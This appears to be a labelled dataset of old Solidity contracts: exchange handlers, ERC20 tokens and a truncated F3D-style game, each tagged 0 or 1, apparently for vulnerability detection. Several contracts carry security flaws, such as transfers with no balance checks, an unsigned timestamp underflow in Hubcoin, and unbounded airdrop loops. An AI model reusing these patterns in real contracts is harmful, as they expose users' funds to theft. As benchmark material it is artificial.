let startOfNewData := add(startOfFreeMemory,functionSelectorOffset)
success := call(
gas,
address,
callvalue,
startOfNewData,
totalLength,
scratchSpace,
mul(wordLength, 0x02)
)
amountSpentOnOrder := mload(scratchSpace)
amountReceivedFromOrder := mload(add(scratchSpace, wordLength))
if eq(success, 0) { revert(0, 0) }
}
}
function performSellOrder(
bytes genericPayload,
uint256 amountToGiveForOrder
)
public
onlyTotle
whenNotPaused
returns (uint256 amountSpentOnOrder, uint256 amountReceivedFromOrder)
{
bool success;
bytes4 functionSelector = selectorProvider.getSelector(this.performSellOrder.selector);
assembly {
let callDataOffset := 0x44
let functionSelectorOffset := 0x1C
let functionSelectorLength := 0x04
let scratchSpace := 0x0
let wordLength := 0x20
let startOfFreeMemory := mload(0x40)
calldatacopy(startOfFreeMemory, callDataOffset, calldatasize)
let bytesLength := mload(startOfFreeMemory)
let totalLength := add(add(functionSelectorLength, bytesLength), wordLength)
mstore(add(scratchSpace, functionSelectorOffset), functionSelector)
let functionSelectorCorrect := mload(scratchSpace)
mstore(startOfFreeMemory, functionSelectorCorrect)
mstore(add(startOfFreeMemory, add(wordLength, bytesLength)), amountToGiveForOrder)
let startOfNewData := add(startOfFreeMemory,functionSelectorOffset)
success := call(
gas,
address,
callvalue,
startOfNewData,
totalLength,
scratchSpace,
mul(wordLength, 0x02)
)
amountSpentOnOrder := mload(scratchSpace)
amountReceivedFromOrder := mload(add(scratchSpace, wordLength))
if eq(success, 0) { revert(0, 0) }
}
}
}
interface AirSwap {
function fills(bytes32 hash) external view returns (bool);
function fill(
address makerAddress,
uint makerAmount,
address makerToken,
address takerAddress,
uint takerAmount,
address takerToken,
uint256 expiration,
uint256 nonce,
uint8 v,
bytes32 r,
bytes32 s
) external payable;
}
contract AirSwapSelectorProvider is SelectorProvider {
function getSelector(bytes4 genericSelector) public pure returns (bytes4) {
if (genericSelector == getAmountToGive) {
return bytes4(keccak256("getAmountToGive((address,address,address,address,uint256,uint256,uint256,uint256,uint8,bytes32,bytes32))"));
} else if (genericSelector == staticExchangeChecks) {
return bytes4(keccak256("staticExchangeChecks((address,address,address,address,uint256,uint256,uint256,uint256,uint8,bytes32,bytes32))"));
} else if (genericSelector == performBuyOrder) {
return bytes4(keccak256("performBuyOrder((address,address,address,address,uint256,uint256,uint256,uint256,uint8,bytes32,bytes32),uint256)"));
} else if (genericSelector == performSellOrder) {
return bytes4(keccak256("performSellOrder((address,address,address,address,uint256,uint256,uint256,uint256,uint8,bytes32,bytes32),uint256)"));
} else {
return bytes4(0x0);
}
}
}
contract AirSwapHandler is ExchangeHandler, AllowanceSetter {
AirSwap public exchange;
WETH public weth;
struct OrderData {
address makerAddress;
address makerToken;
address takerAddress;
address takerToken;
uint256 makerAmount;
uint256 takerAmount;
uint256 expiration;
uint256 nonce;
uint8 v;
bytes32 r;
bytes32 s;
}
constructor(
address _exchange,
address _weth,
address selectorProvider,
address totlePrimary,
address errorReporter
)
ExchangeHandler(selectorProvider, totlePrimary, errorReporter)
public
{
require(_exchange != address(0x0));
require(_weth != address(0x0));
exchange = AirSwap(_exchange);
weth = WETH(_weth);
}
function getAmountToGive(
OrderData data
)
public
view
whenNotPaused
onlySelf
returns (uint256 amountToGive)
{
return data.takerAmount;
}
function staticExchangeChecks(
OrderData data
)
public
view
whenNotPaused
onlySelf
returns (bool checksPassed)
{
bytes32 orderHash;
bytes32 prefixedHash;
(orderHash, prefixedHash) = getOrderHash(data);
return (
data.takerAddress != data.makerAddress &&
data.expiration >= block.timestamp &&
ecrecover(prefixedHash, data.v, data.r, data.s) == data.makerAddress &&
!exchange.fills(orderHash) &&
data.takerAddress == address(this) &&
Utils.tokenAllowanceAndBalanceSet(data.makerAddress, data.makerToken, data.makerAmount, address(exchange))
);
}
function performBuyOrder(
OrderData data,
uint256 amountToGiveForOrder
)
public
payable
whenNotPaused
onlySelf
returns (uint256 amountSpentOnOrder, uint256 amountReceivedFromOrder)
{
if (data.takerAmount != amountToGiveForOrder || msg.value != data.takerAmount) {
totlePrimary.transfer(msg.value);
return (0,0);
}
fillAndValidate(data);
if (!ERC20SafeTransfer.safeTransfer(data.makerToken, totlePrimary, data.makerAmount)) {
errorReporter.revertTx("AirSwap: Unable to transfer bought tokens to primary");
}
return (data.takerAmount, data.makerAmount);
}
function performSellOrder(
OrderData data,
uint256 amountToGiveForOrder
)
public
whenNotPaused
onlySelf
returns (uint256 amountSpentOnOrder, uint256 amountReceivedFromOrder)
{
if (data.takerAmount != amountToGiveForOrder) {
errorReporter.revertTx("AirSwap: takerAmount != amountToGiveForOrder");
}
if (data.makerToken != address(weth)) {
return (0,0);
}
approveAddress(address(exchange), data.takerToken);
fillAndValidate(data);
weth.withdraw(data.makerAmount);
totlePrimary.transfer(data.makerAmount);
return (data.takerAmount, data.makerAmount);
}
function getOrderHash(
OrderData data
)
internal
pure
returns (bytes32 orderHash, bytes32 prefixedHash)
{
orderHash = keccak256(
data.makerAddress,
data.makerAmount,
data.makerToken,
data.takerAddress,
data.takerAmount,
data.takerToken,
data.expiration,
data.nonce
);
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
prefixedHash = keccak256(prefix, orderHash);
}
function fillAndValidate(OrderData data) internal {
exchange.fill.value(msg.value)(
data.makerAddress,
data.makerAmount,
data.makerToken,
data.takerAddress,
data.takerAmount,
data.takerToken,
data.expiration,
data.nonce,
data.v,
data.r,
data.s
);
bytes32 orderHash;
(orderHash, ) = getOrderHash(data);
if (!exchange.fills(orderHash)) {
errorReporter.revertTx("AirSwap: Order failed validation after execution");
}
}
function() public payable whenNotPaused {
uint256 size;
address sender = msg.sender;
assembly {
size := extcodesize(sender)
}
if (size == 0) {
errorReporter.revertTx("EOA cannot send ether to primary fallback");
}
}
} | 0 | 1,021 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract NetkillerAdvancedToken {
using SafeMath for uint256;
address public owner;
string public name;
string public symbol;
uint public decimals;
uint256 public totalSupply;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping (address => bool) public frozenAccount;
event FrozenFunds(address indexed target, bool frozen);
bool public lock = false;
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol,
uint decimalUnits
) public {
owner = msg.sender;
name = tokenName;
symbol = tokenSymbol;
decimals = decimalUnits;
totalSupply = initialSupply * 10 ** uint256(decimals);
balances[msg.sender] = totalSupply;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier isLock {
require(!lock);
_;
}
function setLock(bool _lock) onlyOwner public returns (bool status){
lock = _lock;
return lock;
}
function transferOwnership(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function balanceOf(address _address) view public returns (uint256 balance) {
return balances[_address];
}
function _transfer(address _from, address _to, uint256 _value) isLock internal {
require (_to != address(0));
require (balances[_from] >= _value);
require (balances[_to] + _value > balances[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function burn(uint256 _value) onlyOwner public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) onlyOwner public returns (bool success) {
require(balances[_from] >= _value);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(_from, _value);
return true;
}
function mintToken(address _to, uint256 _amount) onlyOwner public {
uint256 amount = _amount * 10 ** uint256(decimals);
totalSupply = totalSupply.add(amount);
balances[_to] = balances[_to].add(amount);
emit Transfer(this, _to, amount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function airdrop(address[] _to, uint256 _value) public returns (bool success) {
for (uint i=0; i<_to.length; i++) {
_transfer(msg.sender, _to[i], _value);
}
return true;
}
function batchTransfer(address[] _to, uint256[] _value) public returns (bool success) {
require(_to.length == _value.length);
uint256 amount = 0;
for(uint n=0;n<_value.length;n++){
amount += _value[n];
}
require(amount > 0 && balanceOf(msg.sender) >= amount);
for (uint i=0; i<_to.length; i++) {
transfer(_to[i], _value[i]);
}
return true;
}
} | 1 | 3,073 |
pragma solidity >=0.4.22 <0.7.0;
contract OwnedToken {
TokenCreator creator;
address owner;
bytes32 name;
constructor(bytes32 _name) public {
owner = msg.sender;
creator = TokenCreator(msg.sender);
name = _name;
}
function changeName(bytes32 newName) public {
if (msg.sender == address(creator))
name = newName;
}
function transfer(address newOwner) public {
if (msg.sender != owner) return;
if (creator.isTokenTransferOK(owner, newOwner))
owner = newOwner;
}
}
contract TokenCreator {
function createToken(bytes32 name)
public
returns (OwnedToken tokenAddress)
{
return new OwnedToken(name);
}
function changeName(OwnedToken tokenAddress, bytes32 name) public {
tokenAddress.changeName(name);
}
function isTokenTransferOK(address currentOwner, address newOwner)
public
pure
returns (bool ok)
{
return keccak256(abi.encodePacked(currentOwner, newOwner))[0] == 0x7f;
}
} | 1 | 3,943 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract Hubcoin is StandardToken, Pausable {
string public constant name = 'Hubcoin';
string public constant symbol = 'HUB';
uint8 public constant decimals = 6;
uint256 public constant INITIAL_SUPPLY = 107336 * 10**uint256(decimals);
uint256 public constant total_freeze_term = 86400*365;
uint256 public constant launch_date = 1501545600;
uint256 public constant owner_freeze_start = 1507918487;
uint256 public constant owner_freeze_term = 3600*24;
mapping (address => uint256) public frozenAccount;
event FrozenFunds(address target, uint256 frozen);
event Burn(address burner, uint256 burned);
function Hubcoin() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
function transfer(address _to, uint256 _value) whenNotPaused returns (bool) {
freezeCheck(msg.sender, _value);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused returns (bool) {
freezeCheck(msg.sender, _value);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function freezeAccount(address target, uint256 freeze) onlyOwner {
require(block.timestamp < (owner_freeze_start + owner_freeze_term));
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function freezeCheck(address _from, uint256 _value) returns (bool) {
uint forbiddenPremine = launch_date - block.timestamp + total_freeze_term;
if (forbiddenPremine > 0) {
require(balances[_from] >= _value.add( frozenAccount[_from] * forbiddenPremine / total_freeze_term) );
}
return true;
}
function burn(uint256 _value) onlyOwner public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
} | 0 | 1,585 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "MULA";
string public constant TOKEN_SYMBOL = "MULA";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0xf49a977FDb82A20351e0b16f9fB5184cf7EFA15B;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0xf49a977fdb82a20351e0b16f9fb5184cf7efa15b)];
uint[1] memory amounts = [uint(200000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 0 | 1,955 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract LegalBot is StandardToken {
string public constant name = "LegalBot";
string public constant symbol = "LBOT";
uint256 public constant decimals = 18;
address public owner;
uint256 public constant INITIAL_SUPPLY = 10000000000000000000000000000;
function LegalBot() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
owner = msg.sender;
}
function Airdrop(ERC20 token, address[] _addresses, uint256 amount) public {
for (uint256 i = 0; i < _addresses.length; i++) {
token.transfer(_addresses[i], amount);
}
}
modifier onlyOwner() {
assert(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) external onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
} | 1 | 3,152 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract F3DPLUS is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x004f29f33530cfa4a9f10e1a83ca4063ce96df7149);
address private admin = msg.sender;
string constant public name = "f3dplus";
string constant public symbol = "f3dplus";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 0;
uint256 constant private rndInit_ = 3 minutes;
uint256 constant private rndInc_ = 1 seconds;
uint256 constant private rndMax_ = 5 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(22,6);
fees_[1] = F3Ddatasets.TeamFee(38,0);
fees_[2] = F3Ddatasets.TeamFee(52,10);
fees_[3] = F3Ddatasets.TeamFee(68,8);
